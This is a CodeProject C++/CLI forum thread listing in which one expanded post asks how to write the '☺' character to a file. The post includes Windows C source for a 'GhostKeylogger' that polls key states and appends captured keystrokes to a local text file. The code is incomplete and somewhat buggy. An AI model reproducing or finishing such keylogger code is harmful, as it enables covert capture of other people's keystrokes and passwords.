Click here to Skip to main content
14,453,294 members

Managed C++/CLI

 
SuggestionRe: program is crash. help me Pin
Richard MacCutchan25-Feb-15 22:41
communityengineerRichard MacCutchan25-Feb-15 22:41 
QuestionA brief question Pin
Member 1065708311-Feb-15 23:47
MemberMember 1065708311-Feb-15 23:47 
AnswerRe: A brief question Pin
Richard MacCutchan12-Feb-15 0:05
communityengineerRichard MacCutchan12-Feb-15 0:05 
QuestionMFC Grid Control does not show cells content Pin
georox6-Dec-14 3:30
Membergeorox6-Dec-14 3:30 
AnswerRe: MFC Grid Control does not show cells content Pin
Richard MacCutchan6-Dec-14 4:02
communityengineerRichard MacCutchan6-Dec-14 4:02 
GeneralRe: MFC Grid Control does not show cells content Pin
georox6-Dec-14 5:35
Membergeorox6-Dec-14 5:35 
QuestionCreate InputBox using VS2010 C++? Pin
Member 112303721-Dec-14 4:01
MemberMember 112303721-Dec-14 4:01 
QuestionHow to save "☺" in a file. C/C++ (Windows Functions) Pin
Citrusl2-Nov-14 11:51
MemberCitrusl2-Nov-14 11:51 
I want to save the ASCII characters, in this case i started with the "☺" when someone press alt+1.

I dont know how to save that type of characters in the txt. What can i do?
Ive searched like a month about this, in all kind of forums, asking my teachers or people who knows and nobody can answer me this.

A possible solution was to make all again and use HOOK functions and some others like: WH_KEYBOARD_LL. Well... i dont know how to use any of that functions, so its a big problem.

PD: Im from Argentina, sorry for my bad english.

#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01);  //What should i do here?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}

AnswerRe: How to save "☺" in a file. C/C++ (Windows Functions) Pin
Frankie-C22-Feb-15 4:24
MemberFrankie-C22-Feb-15 4:24 
QuestionDisplay an image on the button. this image is not from resource but it is a image form a normal file Pin
Member 1118237929-Oct-14 3:34
MemberMember 1118237929-Oct-14 3:34 
AnswerRe: Display an image on the button. this image is not from resource but it is a image form a normal file Pin
Richard MacCutchan29-Oct-14 5:01
communityengineerRichard MacCutchan29-Oct-14 5:01 
QuestionI need some help with c++ Pin
Member 1111856129-Sep-14 9:44
MemberMember 1111856129-Sep-14 9:44 
AnswerRe: I need some help with c++ Pin
Richard MacCutchan29-Sep-14 22:33
communityengineerRichard MacCutchan29-Sep-14 22:33 
QuestionCoding music rhythms Pin
Navid Abyazi24-Sep-14 6:28
professionalNavid Abyazi24-Sep-14 6:28 
AnswerRe: Coding music rhythms Pin
Richard MacCutchan24-Sep-14 6:35
communityengineerRichard MacCutchan24-Sep-14 6:35 
QuestionReverse No program Pin
Member 105011307-Sep-14 21:09
MemberMember 105011307-Sep-14 21:09 
AnswerRe: Reverse No program Pin
Richard MacCutchan7-Sep-14 22:23
communityengineerRichard MacCutchan7-Sep-14 22:23 
QuestionSystem.AccessViolationException - Returning from cpp dll Pin
ToolMaker200716-Aug-14 5:25
MemberToolMaker200716-Aug-14 5:25 
AnswerRe: System.AccessViolationException - Returning from cpp dll Pin
Member 1048772028-Aug-14 22:45
MemberMember 1048772028-Aug-14 22:45 
Questionneed help with creating a clr dll Pin
neodeaths13-Aug-14 22:57
Memberneodeaths13-Aug-14 22:57 
AnswerRe: need help with creating a clr dll Pin
Richard MacCutchan13-Aug-14 23:26
communityengineerRichard MacCutchan13-Aug-14 23:26 
QuestionHow to sound recorder c++ Pin
4manes6-Jul-14 23:58
Member4manes6-Jul-14 23:58 
AnswerRe: How to sound recorder c++ Pin
Richard MacCutchan7-Jul-14 3:46
communityengineerRichard MacCutchan7-Jul-14 3:46 
QuestionDumb question about event arguments Pin
Member 1031630012-Jun-14 21:21
MemberMember 1031630012-Jun-14 21:21 
AnswerRe: Dumb question about event arguments Pin
John Schroedl13-Jun-14 9:05
professionalJohn Schroedl13-Jun-14 9:05 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.